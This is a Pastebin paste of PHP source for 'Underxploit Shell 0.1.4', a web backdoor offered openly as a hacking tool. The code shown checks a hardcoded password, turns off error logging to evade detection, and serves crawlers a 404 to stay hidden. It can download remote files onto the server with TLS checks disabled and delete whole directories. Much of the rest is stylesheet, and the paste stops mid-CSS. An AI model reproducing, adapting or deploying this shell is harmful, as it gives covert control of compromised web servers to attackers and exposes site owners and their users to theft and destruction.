SHARE
TWEET

Responsive Design PHP Backdoor

ToKeiChun Apr 26th, 2019 143 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /*! Description & About
  3.         * Underxploit Shell 0.1.4
  4.         * Responsive Design
  5.         * Source Editor With Line Number
  6.         * Source Viewer With Syntax Highligter
  7.         * Simple Alert
  8.         * Without Log's
  9.         * Clean Url
  10.         * Fast Loading (Using Javascript Jump :v)
  11.         * With Hacking Tools
  12.         * Programmed By Wildan Izzudin
  13.         * Web Shell (c) 2019
  14.         * Fix On 29, Mar 2019 (Friday)
  15. End !*/
  16. error_reporting(0);
  17. ob_start("ob_gzhandler");
  18. // --- pass : root --- //
  19. $pass = "63a9f0ea7bb98050796b649e85481845";
  20. $_POST = cl($_POST); $_GET = cl($_GET);
  21. $_COOKIE = cl($_COOKIE);
  22. $_UNDERXPLOIT = array_merge($_POST, $_GET);
  23. $_UNDERXPLOIT = array_map("xp", $_UNDERXPLOIT);
  24. $cookie = md5($_SERVER['HTTP_USER_AGENT']);
  25.  
  26. switch (true) {
  27.     case (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])])):
  28.         vb(md5($_SERVER['HTTP_HOST']) , $cookie);
  29. }
  30.  
  31. function vb($k, $v) {
  32.     $_COOKIE[$k] = $v;
  33.         setcookie($k, $v);
  34. }
  35.  
  36. function jmbt($str){
  37.     return htmlspecialchars($str, 2 | 1);
  38. }
  39.  
  40. function mtr($y) {
  41.         print '<meta http-equiv="refresh" content="1;url=' . $y . '"/>';
  42.     return $y;
  43. }
  44.  
  45. function op($d, $e) {
  46.     $fp = fopen($d, "w"); $ch = curl_init();
  47.     curl_setopt($ch, CURLOPT_URL, $e);
  48.     curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  49.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  50.     curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  51.     curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  52.     curl_setopt($ch, CURLOPT_FILE, $fp);
  53.     return curl_exec($ch);
  54.     curl_close($ch);
  55.     fclose($fp);
  56.     ob_flush();
  57.     flush();
  58. }
  59.  
  60. function perms($x_x) {
  61.         if($x_cv = @fileperms($x_x)){
  62.         $x_cz = 'u';
  63.         if(($x_cv & 0xC000) == 0xC000)$x_cz = 's';
  64.         elseif(($x_cv & 0xA000) == 0xA000)$x_cz = 'l';
  65.         elseif(($x_cv & 0x8000) == 0x8000)$x_cz = '-';
  66.         elseif(($x_cv & 0x6000) == 0x6000)$x_cz = 'b';
  67.         elseif(($x_cv & 0x4000) == 0x4000)$x_cz = 'd';
  68.         elseif(($x_cv & 0x2000) == 0x2000)$x_cz = 'c';
  69.         elseif(($x_cv & 0x1000) == 0x1000)
  70.         $x_cz = 'p';
  71.         $x_cz .= ($x_cv & 00400)? 'r':'-';
  72.         $x_cz .= ($x_cv & 00200)? 'w':'-';
  73.         $x_cz .= ($x_cv & 00100)? 'x':'-';
  74.         $x_cz .= ($x_cv & 00040)? 'r':'-';
  75.         $x_cz .= ($x_cv & 00020)? 'w':'-';
  76.         $x_cz .= ($x_cv & 00010)? 'x':'-';
  77.         $x_cz .= ($x_cv & 00004)? 'r':'-';
  78.         $x_cz .= ($x_cv & 00002)? 'w':'-';
  79.         $x_cz .= ($x_cv & 00001)? 'x':'-';
  80.         return $x_cz;
  81.     }
  82.     else return "- ?? -";
  83. }
  84.  
  85. function deledir($str) {
  86. switch (true) {
  87.     case (is_dir($str)): $hnd = opendir($str);
  88. switch (true) {
  89.     case (!$hnd): return false;
  90. break;
  91.     default:
  92.         while ($file = readdir($hnd)) {
  93. switch (true) {
  94.     case ($file != '.' && $file != '..'): switch (true) {
  95.     case (!is_dir($str . "/" . $file)): unlink($str . "/" . $file);
  96. break;
  97.     default: deledir($str . '/' . $file);
  98.     } break; }
  99. }
  100.     closedir($hnd); rmdir($str); return true;
  101. break; } break; }
  102. }
  103.  
  104. function a($str) {
  105.     @define("x13", "\x31\x33\x33\x37", true);
  106.     $x14 = base64_decode($str);
  107.     $x16s = substr($x14, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));
  108.     $x19 = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, hash('sha256', x13, true) , substr($x14, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)) , MCRYPT_MODE_CBC, $x16s) , "\0");
  109.     return $x19;
  110. }
  111.  
  112. function x($b) {
  113.     $c = a($b); return $c;
  114. }
  115.  
  116. @ini_set('error_log', NULL);
  117. @ini_set('log_errors', 0);
  118. @ini_set('html_errors', 0);
  119. @ini_set('max_execution_time', 0);
  120. @ini_set('file_uploads', 1);
  121. @set_time_limit(0);
  122. @clearstatcache();
  123. @define("x5", "\x64\x69\x72\x3d", true);
  124. @define("x7", "\x63\x6f\x6d\x6d\x61\x6e\x64\x3d", true);
  125. @define("x6", "\x66\x69\x6c\x65\x3d", true);
  126. @define("x9", "\x3c\x64\x69\x76\x20\x63\x6c\x61\x73\x73\x3d\x27\x63\x6f\x4c\x2d\x6f\x70\x74\x69\x6f\x6e\x20\x74\x6f\x70\x27\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x63\x65\x6e\x74\x65\x72\x3e\x3c\x69\x20\x63\x6c\x61\x73\x73\x3d\x27\x7a\x6d\x64\x69\x20\x7a\x6d\x64\x69\x2d\x61\x6c\x65\x72\x74\x2d\x63\x69\x72\x63\x6c\x65\x2d\x6f\x20\x7a\x6d\x64\x69\x2d\x68\x63\x2d\x66\x77\x20\x7a\x6d\x64\x69\x2d\x68\x63\x2d\x34\x78\x27\x3e\x3c\x2f\x69\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x5b\x20\x42\x41\x44\x20\x52\x45\x51\x55\x45\x53\x54\x20\x5d\x3c\x2f\x63\x65\x6e\x74\x65\x72\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x3c\x2f\x64\x69\x76\x3e\x3c\x2f\x64\x69\x76\x3e", true);
  127. @define("sec", $pass, true);
  128.  
  129. switch (true) {
  130.     case ($_UNDERXPLOIT['dir']): $dir = str_replace("\\", "/", $_UNDERXPLOIT['dir']);
  131.     @chdir($dir);
  132. break;
  133.     default: $dir = str_replace("\\", "/", getcwd());
  134. }
  135.  
  136. $dir = str_replace("\\", "/", $dir);
  137. $scdir = explode("/", $dir);
  138.  
  139. function cl($str) {
  140.     $qos = strtolower(ini_get('magic_quotes_sybase'));
  141. switch (true) {
  142.     case (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()):
  143.     case (is_array($str)): foreach($str as $k => $v) {
  144. switch (true) {
  145.     case (is_array($v)): $str[$k] = cl($v);
  146. break;
  147.     default: $str[$k] = (empty($qos) || $qos === 'off') ? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
  148.         }
  149.     } break; } return $str;
  150. }
  151.  
  152. function xp($str) {
  153.     return (is_array($str)) ? array_map("rawurldecode", $str) : rawurldecode($str);
  154. }
  155.  
  156. function r($str) {
  157.     print '<script type="text/javascript">window.location = "' . $str . '";</script>';
  158.     return $str;
  159. }
  160.  
  161. function s($str) {
  162.     print 'notif({
  163.                 type: "default",
  164.                 msg: "<span class=\'alert\'><font color=\'#fff\'>' . $str . '</font>",
  165.                 width: "all",
  166.                 height: 100,
  167.                 position: "center",
  168.             });';
  169.     return $str;
  170. }
  171.  
  172. function bacot($str) {
  173.     print '<script type="text/javascript"> notif({
  174.                 type: "default",
  175.                 msg: "<span class=\'alert\'><font color=\'#fff\'>' . $str . '</font>",
  176.                 width: "all",
  177.                 height: 100,
  178.                 position: "center",
  179.             });</script>';
  180.     return $str;
  181. }
  182.  
  183. switch(true) {
  184.     case (get_magic_quotes_gpc()): function stripslashes_array($array) {
  185.         return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  186.     }
  187.         $_UNDERXPLOIT = stripslashes_array($_UNDERXPLOIT);
  188.         $_COOKIE = stripslashes_array($_COOKIE);
  189. }
  190.  
  191. switch (true) {
  192.     case (!empty(sec)): switch (true) {
  193.     case (($_UNDERXPLOIT['pass']) && (md5($_UNDERXPLOIT['pass']) == sec)): vb(md5($_SERVER['HTTP_HOST']) , sec);
  194. break;
  195.     case (!$_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != sec): login();
  196. break;
  197.     }
  198. }
  199.  
  200. function login() {
  201. switch (true) {
  202.     case (!empty($_SERVER['HTTP_USER_AGENT'])):
  203.         $serp = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","Yahoo","Bing");
  204.     case (preg_match('/' . implode('|', $serp) . '/i', $_SERVER['HTTP_USER_AGENT'])):
  205.         header('HTTP/1.0 404 Not Found');
  206. }
  207.    
  208. die('<!DOCTYPE html>
  209. <head>
  210.     <title>LOGIN | UNDERXPLOIT SHELL 0.1.4</title>
  211.     <meta name="robots" content="noindex, nofollow, noarchive">
  212.     <meta name="viewport" content="width=device-width, initial-scale=1">
  213.     <meta property="og:image" content="//1.bp.blogspot.com/-P1jMet8cGvQ/Wi6HjYT3n5I/AAAAAAAAAuQ/bO2cfdqUfJo8YPt0SP6veAvhEERf_SEzQCLcBGAs/s320/logo.jpg">
  214.     <meta name="theme-color" content="#1D9D73">
  215.     <meta name="apple-mobile-web-app-capable" content="yes">
  216.     <meta name="apple-mobile-web-app-status-bar-style" content="#1D9D73">
  217.     <meta name="msapplication-navbutton-color" content="#1D9D73">
  218.     <meta name="author" content="WILDAN IZZUDIN">
  219.     <link href="//underxploit.github.io/core/favicon.ico" rel="icon" type="image/x-icon" />
  220.     <link rel="stylesheet" href="//underxploit.github.io/core/icons/material.css" />
  221. <script type="text/javascript">
  222.         baseUrl = window.location.href.split("?")[0];
  223.     window.history.pushState("name", "?", baseUrl);
  224. </script>
  225.  <style>
  226.  @import url(https://fonts.googleapis.com/css?family=Play);
  227. * {
  228.     box-sizing: border-box
  229. }
  230.  
  231. *:focus {
  232.     outline: 0
  233. }
  234.  
  235. body {
  236.     font-size: 14px;
  237.     color: #fff;
  238.     margin: auto;
  239.     font-family: "Play";
  240.     background: #212121
  241. }
  242.  
  243. .login-container {
  244.     max-width: 450px;
  245.     margin: auto;
  246.     overflow: auto;
  247.     background: none
  248. }
  249.  
  250. .login-kepala {
  251.     background: #222;
  252.     padding: 10px;
  253.     color: #fff;
  254.     font-size: 14px;
  255.     position: fixed;
  256.     z-index: 1024;
  257.     top: 0;
  258.     left: 0;
  259.     right: 0;
  260.     -o-border-radius: 2px;
  261.     -webkit-box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);
  262.     -moz-box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);
  263.     -ms-box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);
  264.     -o-box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);
  265.     box-shadow: 0 1px 4px 0 rgba(0, 0, 0, .14);
  266.     font-family: "Play"
  267. }
  268.  
  269. input[type=password] {
  270.     border: 0;
  271.     border-bottom: 1px solid #1D9D73;
  272.     padding: 9px;
  273.     background: none;
  274.     color: #fff;
  275.     font-family: "Play";
  276.     width: 100%;
  277.     font-size: 14px
  278. }
  279.  
  280. .btn-exe:hover {
  281.     background: none;
  282.     border: 1px solid #1D9D73;
  283.     color: #1D9D73;
  284.     -webkit-transition: all 0.3s;
  285.     -moz-transition: all 0.3s;
  286.     transition: all 0.3s
  287. }
  288.  
  289. table {
  290.     width: 100%
  291. }
  292.  
  293. .btn-exe {
  294.     background: #1D9D73;
  295.     color: #fff;
  296.     font-family: "Play";
  297.     padding: 6px;
  298.     border: 1px solid #1D9D73;
  299.     width: 100%;
  300.     font-size: 14px;
  301.     border-top-right-radius: 15px;
  302.     border-bottom-left-radius: 15px
  303. }            
  304.     </style>
  305.     </head>
  306. <body>
  307.     <div class="login-kepala">
  308.         <div class="login-container">
  309.             <form action="" method="post">
  310.                 <table>
  311.                     <td align="center" style="width:10%">
  312.                         <i class="zmdi zmdi-chevron-right"></i>
  313.                     </td>
  314.                     <td style="width:70%">
  315.                         <input type="password" placeholder="" name="pass">
  316.                     </td>
  317.                     <td style="text-align:right;width:20%">
  318.                         <button type="submit" class="btn-exe">
  319.                             <i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i>
  320.                         </button>
  321.                     </td>
  322.                 </table>
  323.             </form>
  324.         </div>
  325.     </div>
  326. </body>
  327. </html>');
  328. }
  329.  
  330.     print '<!DOCTYPE html lang="en">
  331. <head>
  332.     <title>UNDERXPLOIT SHELL 0.1.4</title>
  333.     <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
  334.     <meta name="author" content="WILDAN IZZUDIN">
  335.     <meta name="theme-color" content="#1D9D73">
  336.     <meta name="apple-mobile-web-app-capable" content="yes">
  337.     <meta name="apple-mobile-web-app-status-bar-style" content="#1D9D73">
  338.     <meta name="msapplication-navbutton-color" content="#1D9D73">
  339.     <link rel="icon" href="//underxploit.github.io/core/favicon.ico" type="image/x-icon" />
  340.     <link rel="stylesheet" href="//underxploit.github.io/core/icons/material.css" />
  341. <style>
  342. @import url(https://fonts.googleapis.com/css?family=Play);img[alt*="www.000webhost.com"]{display:none}*{box-sizing:border-box}*:focus{outline:0}::-moz-selection{background-color:rgba(201,223,255,.1);color:#fff}body{font-size:14px;background-attachment:fixed;color:#fff;margin:auto;font-family:"Play";background-color:#202020;overflow:auto;box-sizing:border-box}code{font-family:"Play";word-wrap:break-word;background:rgba(0,0,0,.2);font-size:13px}pre{margin:0;border:1px solid #343436;white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap;word-wrap:break-word;font-size:13px;background:#222}a{text-decoration:none;color:#fff}input[type=file]::-webkit-file-upload-button{background:#1D9D73;border:1px solid #1D9D73;color:#1D9D73;font-size:14px;font-family:"Play";border-radius:2px;width:1px}input[type=file]{border:1px solid #343436;color:#fff;background:#323232;width:100%;font-size:14px;padding:7px;border-radius:2px;font-family:"Play"}select{-webkit-appearance:none;-moz-appearance:none;text-indent:1px}input[type=number]{-moz-appearance:textfield}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none;margin:0}input[type=text],input[type=number],input[type=password]{border:1px solid #343436;padding:9px;background:#323232;color:#fff;font-family:"Play";width:100%;border-radius:2px;font-size:14px}textarea{border:1px solid rgba(255,255,255,.1);width:100%;height:600px;padding:5px;background:none;color:#fff;font-family:"Play";font-size:13px;border-radius:2px}select{padding:9px;border:1px solid #343436;font-family:"Play";font-size:14px;background:#323232;width:100%;color:#fff;border-radius:2px;-webkit-appearance:none}.btn-exe{background:#1D9D73;color:#fff;font-family:"Play";padding:9px;border:1px solid #1D9D73;width:100%;border-radius:2px;font-size:14px;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.btn-exe:hover{background:none;border:1px solid #1D9D73;color:#1D9D73}.lawb{position:relative;bottom:3px;background:#1D9D73;color:#fff;font-family:"Play";padding:3px 7px;border:1px solid #1D9D73;width:100%;border-radius:2px;font-size:13px;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.tup{font-size:14px}.alert{font-family:"Play";color:#fff}.coL{width:469px;border:0 solid #ddd;background:#222;padding:3px;float:left;margin-left:2px;margin-right:2px;margin-bottom:2px;margin-top:3px;color:#222}.tools-content{padding:3px;margin:1px 2px 0 2px;background:none;border-radius:2px;border:1px solid #343436}.td-tools-left{padding:5px;width:30px;text-align:center}.td-tools-icon{width:50px;background:none;text-align:center}.td-tools-content{padding-left:5px;font-size:14px}.label-danger{color:red}.label-success{color:#1D9D73}.coR{width:343px;border:0;background:#222;margin-left:2px;margin-right:2px;margin-bottom:2px;margin-top:3px;padding:3px;float:left}table{width:100%}hr{border:0;height:1px;background-image:-webkit-linear-gradient(left,#343436,#343436,#343436);background-image:-moz-linear-gradient(left,#343436,#343436,#343436);background-image:-ms-linear-gradient(left,#343436,#343436,#343436);background-image:-o-linear-gradient(left,#343436,#343436,#343436)}h2{font-size:19px;font-weight:400}.th-nav{width:85px}.co-ontainer-2{max-width:820px;margin:auto;overflow:hidden;background:#222;box-shadow:0 1px 5px rgba(27,31,35,.15)!important}.co-ontainer-3{max-width:820px;margin:auto;overflow:hidden;background:none}.coL-panel{padding:1px;border:1px solid #343436;border-bottom:0;color:#fff;border-radius:2px;margin:2px;margin-bottom:0;background:none}.coR-panel{padding:1px;border:1px solid #343436;border-bottom:0;color:#fff;margin:2px;border-radius:2px;background:none}.main-content{padding:5px;margin-top:5px;background:none;border:0 solid #ddd;font-size:16px}.ex-hov:hover{background:rgba(52,52,63,.2);-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.dir{background:#343436;padding:2px;margin-left:2px;margin-right:2px;margin-top:3px;margin-bottom:1px;font-size:15px}.dir-pallet{background:rgba(255,255,255,.1);padding:6px;text-align:left}.dir-td-left{width:50px;border-right:1px solid #1D9D73;font-size:14px}.dir-td-right{padding-left:5px;font-size:15px}@media screen and (max-width:2024px){select{padding:8px}#wh{display:display}.co-ontainer-2{width:100%;border-radius:0}.coL{width:467px;background:none:margin-bottom:3px;border:none}.coR{width:42%;float:right;border:none}}@media screen and (max-width:1024px){select{padding:8px}#wh{display:display}.co-ontainer-2{width:100%;border-radius:0}.coL{width:467px;background:none:margin-bottom:3px;border:none}.coR{width:42%;float:right;border:none}}@media screen and (max-width:780px){select{padding:9px}#wh{display:none}.co-ontainer-2{background:#222;border-radius:0;margin-top:0}.coL{padding:1px;width:auto;float:none}.coR{padding:1px;width:auto;float:none}}.footer{background:#343436;color:#fff;padding:8px;text-align:center;margin:auto;overflow:hidden;max-width:820px;-webkit-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-moz-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-ms-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-o-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);box-shadow:0 1px 4px 0 rgba(0,0,0,.14)}.td-panel{border-right:1px solid #343436;padding:5px;padding-right:8px;width:40px;text-align:center;color:#fff}.td-panel-right{padding-left:3px;font-size:14px}.a:hover{color:#1D9D73;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.coL-option{padding:5px;border:1px solid #343436;margin:2px 2px 0 2px;background:none;font-size:13px;border-radius:2px;color:#fff}.coL-option td{font-size:14px}.coL-btn-option-active{padding:7px;background:none;border:0 solid rgba(255,255,255,.1);font-size:14px;font-family:"Play";width:100%;color:#fff}.coL-btn-option{padding:7px;background:#343436;border:1px solid #343436;font-size:14px;border-radius:2px;font-family:"Play";width:100%;color:#fff;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.coL-btn-option:hover{background:none;width:100%;color:#fff;border:1px solid #343436}.coL-option-panel{padding:5px;border:none;background:#343436;font-size:14px}.xa{background:#1D9D73;color:#fff;width:30px;height:30px;padding:5px;border:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s;border-radius:100%}.xa:hover{background:#343436;color:#1D9D73}.table-info{margin-top:3px;border-collapse:collapse;font-family:"Play"}.th-info{padding:6px;border:1px solid #343436;background:#343436;border-collapse:collapse;font-family:"Play";font-weight:400;color:#fff;font-size:14px}.td-info{padding:7px;border:1px solid #343436;background:none;font-family:"Play";font-size:14px}.table-file{margin-top:3px;font-family:"Play";padding-right:2px;padding-left:2px}.table-file tr:hover{background:rgba(52,52,63,.2);-webkit-transition:all 0.3s;-moz-transition:all 0.3s;transition:all 0.3s}.th-file{padding:6px;border:1px solid #343436;background:#343436;font-family:"Play";font-weight:400;font-size:14px;color:#fff}.td-file{font-size:14.3px;padding:4px;border:0;border-bottom:1px dashed #343436;background:none;font-family:"Play" color:#222}.wr{padding:10px 5px 10px 5px}.loader{border:2px solid #343436;border-radius:50%;border-top:2px solid #1D9D73;width:20px;height:20px;-webkit-animation:spin 600ms linear infinite;animation:spin 600ms linear infinite}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg)}100%{-webkit-transform:rotate(360deg)}}@keyframes spin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}#judul{text-transform:uppercase;float:left;margin-top:8px;font-weight:700;display:none}.atas{background:fixed;background-size:cover;text-align:center;padding:0;background-color:#222}@media screen and (max-width:2024px){select{padding:8px}#particles-js{height:300px}}@media screen and (max-width:1024px){select{padding:8px}#particles-js{height:300px}}@media screen and (max-width:780px){select{padding:9px}#particles-js{height:200px}}#particles-js{max-width:820px}input[type=checkbox]{display:none}.icon{text-align:center;display:inline-block}.icon .zmdi{visibility:hidden}input[type=checkbox]:checked + .icon .zmdi{position:relative;top:1px;right:1px;visibility:visible}input[type=checkbox]{display:inline\9}.icon{display:none\9}input[type=checkbox]{margin:0 .1em}.icon{background:none;border:1px solid #343436;border-radius:100px;text-align:center;font-size:15px;margin:2px auto 2px auto;height:20px;width:20px;line-height:2000px}.move-top{color:#fff;border-radius:3px;position:fixed;bottom:10px;right:10px;text-decoration:none;padding:15px 25px 15px 20px;display:none;background:rgba(0,0,0,.4)}.animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animated.infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}@-webkit-keyframes flash{from,50%,to{opacity:1}25%,75%{opacity:0}}@keyframes flash{from,50%,to{opacity:1}25%,75%{opacity:0}}.flash{-webkit-animation-name:flash;animation-name:flash}@-webkit-keyframes rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.rubberBand{-webkit-animation-name:rubberBand;animation-name:rubberBand}.menus{padding:8px;text-align:right;background:none}.atas-ae{position:fixed;top:0;right:0;left:0;z-index:1030;padding:10px;margin:auto;max-width:820px}.top{margin-top:3px}.elip{max-width:100px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wrap{word-wrap:break-word}.break{word-break:break-all;white-space:normal}#ui_notifIt{position:fixed;top:10px;right:10px;left:10px;cursor:none;overflow:hidden;-webkit-box-shadow:0 3px 5px rgba(0,0,0,.3);-moz-box-shadow:0 3px 5px rgba(0,0,0,.3);-o-box-shadow:0 3px 5px rgba(0,0,0,.3);box-shadow:0 3px 5px rgba(0,0,0,.3);-wekbit-border-radius:5px;-moz-border-radius:5px;-o-border-radius:5px;border-radius:5px;z-index:2000}#ui_notifIt:hover{opacity:1!important}#ui_notifIt p{text-align:center;font-family:sans-serif;font-size:14px;padding:0;margin:0}#notifIt_close{position:absolute;color:#FFF;top:0;padding:0 5px;right:0}#notifIt_close:hover{background-color:rgba(255,255,255,.3)}#ui_notifIt.default{background-color:#1D9D73;border:0;-webkit-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-moz-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-ms-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);-o-box-shadow:0 1px 4px 0 rgba(0,0,0,.14);box-shadow:0 1px 4px 0 rgba(0,0,0,.14)}.notifit_confirm_bg,.notifit_prompt_bg{position:fixed;top:0;left:0;height:100%;width:100%;background-color:rgba(255,255,255,.1)}.notifit_confirm *,.notifit_prompt *{font-family:"Play"}.notifit_confirm,.notifit_prompt{position:fixed;top:0;left:0;padding:30px 30px 0 30px;background-color:#1D9D73;border:1px solid rgba(0,0,0,.1);-webkit-border-radius:5px;-moz-border-radius:5px;-ms-border-radius:5px;-o-border-radius:5px;border-radius:5px;-webkit-box-shadow:0 2px 10px rgba(0,0,0,.2);box-shadow:0 2px 10px rgba(0,0,0,.2)}.hljs{display:block;overflow-x:auto;font-size:13px;padding:.5em;background:#222;color:#e6e1dc}.hljs-comment,.hljs-quote{color:#bc9458;font-style:italic}.hljs-keyword,.hljs-selector-tag{color:#c26230}.hljs-string,.hljs-number,.hljs-regexp,.hljs-variable,.hljs-template-variable{color:#1D9D73}.hljs-subst{color:#519f50}.hljs-tag,.hljs-name{color:#e8bf6a}.hljs-type{color:#da4939}.hljs-symbol,.hljs-bullet,.hljs-built_in,.hljs-builtin-name,.hljs-attr,.hljs-link{color:#6d9cbe}.hljs-params{color:#d0d0ff}.hljs-attribute{color:#cda869}.hljs-meta{color:#9b859d}.hljs-title,.hljs-section{color:#ffc66d}.hljs-addition{background-color:#144212;color:#e6e1dc;display:inline-block;width:100%}.hljs-deletion{background-color:#600;color:#e6e1dc;display:inline-block;width:100%}.hljs-selector-class{color:#9b703f}.hljs-selector-id{color:#8b98ab}.hljs-emphasis{font-style:italic}.hljs-strong{font-weight:700}.hljs-link{text-decoration:underline}::selection{background-color:#1D9D73;color:#fff}.linedwrap{border:1px solid #343436;padding:3px;padding-right:0;margin-top:5px}#paksa{padding:0 2px 0 2px}.linedtextarea{padding:0;margin:0}.linedtextarea,.linedwrap .codelines .lineno{font-size:13px;font-family:"Play";line-height:normal!important}.linedwrap .lines{margin-top:1px;width:45px;float:left;overflow:hidden;border-right:1px solid #1D9D73;margin-right:5px}.linedwrap .codelines{padding-top:6px}.linedwrap .codelines .lineno{color:#AAA;padding-right:5px;padding-top:0em;text-align:right;white-space:nowrap;font-family:"Play"}.linedwrap .codelines .lineselect{color:#1D9D73}.tool-container,.tool-item,.btn-toolbar{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.btn-toolbar{background:#1D9D73;width:20px;height:20px;text-align:center;padding:7px;border-radius:4px;display:block;transition:none}.btn-toolbar>i{color:#02baf2;font-size:16px}.btn-toolbar:hover{background:#02baf2;cursor:pointer}.btn-toolbar:hover>i{color:white}.btn-toolbar-dark{background-color:#1D9D73}.btn-toolbar-dark.pressed{background-color:#5e696d}.btn-toolbar-dark:hover{background-color:#5e696d}.btn-toolbar-dark>i{color:white}.tool-container{background-color:#5e696d;background-size:100% 100%;border-radius:4px;position:absolute}.tool-container.tool-top,.tool-container.tool-bottom{height:34px;border-bottom:0 solid #beb8b8}.tool-container.tool-top .tool-item,.tool-container.tool-bottom .tool-item{float:left;border-right:0;border-left:0}.tool-item{height:100%;display:block;width:20px;height:20px;text-align:center;padding:7px;transition:none}.tool-item>.zmdi{color:#b2c6cd;font-size:15px;margin-top:3px}.tool-item.selected,.tool-item:hover{background:#02baf2}.tool-item.selected>.zmdi,.tool-item:hover>.zmdi{color:white}.tool-top .tool-item:first-child:hover,.tool-bottom .tool-item:first-child:hover{border-top-left-radius:4px;border-bottom-left-radius:4px}.tool-top .tool-item:last-child:hover,.tool-bottom .tool-item:last-child:hover{border-top-right-radius:4px;border-bottom-right-radius:4px}.tool-vertical-top .tool-item:first-child:hover,.tool-vertical-bottom .tool-item:first-child:hover,.tool-right .tool-item:first-child:hover,.tool-left .tool-item:first-child:hover{border-top-left-radius:4px;border-top-right-radius:4px}.tool-vertical-top .tool-item:last-child:hover,.tool-vertical-bottom .tool-item:last-child:hover,.tool-right .tool-item:last-child:hover,.tool-left .tool-item:last-child:hover{border-bottom-left-radius:4px;border-bottom-right-radius:4px}.tool-container .arrow{width:0;height:0;position:absolute;border-width:7px;border-style:solid}.tool-container.tool-top .arrow{border-color:#5e696d transparent transparent;left:50%;bottom:-14px;margin-left:-7px}.tool-container.tool-bottom .arrow{border-color:transparent transparent #5e696d;left:50%;top:-14px;margin-left:-7px}.tool-container.tool-left .arrow{border-color:transparent transparent transparent #5e696d;top:50%;right:-14px;margin-top:-7px}.tool-container.tool-right .arrow{border-color:transparent #5e696d transparent transparent;top:50%;left:-14px;margin-top:-7px}.toolbar-dark{background-color:#1D9D73}.toolbar-dark.tool-top .arrow{border-color:#1D9D73 transparent transparent}.toolbar-dark.tool-bottom .arrow{border-color:transparent transparent #1D9D73}.toolbar-dark.tool-left .arrow{border-color:transparent transparent transparent #1D9D73}.toolbar-dark.tool-right .arrow{border-color:transparent #1D9D73 transparent transparent}.toolbar-dark .tool-item>.zmdi{color:white}.toolbar-dark .tool-item.selected,.toolbar-dark .tool-item:hover{background:#343436;color:white}.animate-standard{-webkit-animation:standardAnimate 0.3s 1 ease}.animate-flyin{-webkit-animation:rotateAnimate 0.5s 1 ease}.animate-grow{-webkit-animation:growAnimate 0.4s 1 ease}.animate-flip{-webkit-animation:flipAnimate 0.4s 1 ease}.animate-bounce{-webkit-animation:bounceAnimate 0.4s 1 ease-out}@-webkit-keyframes 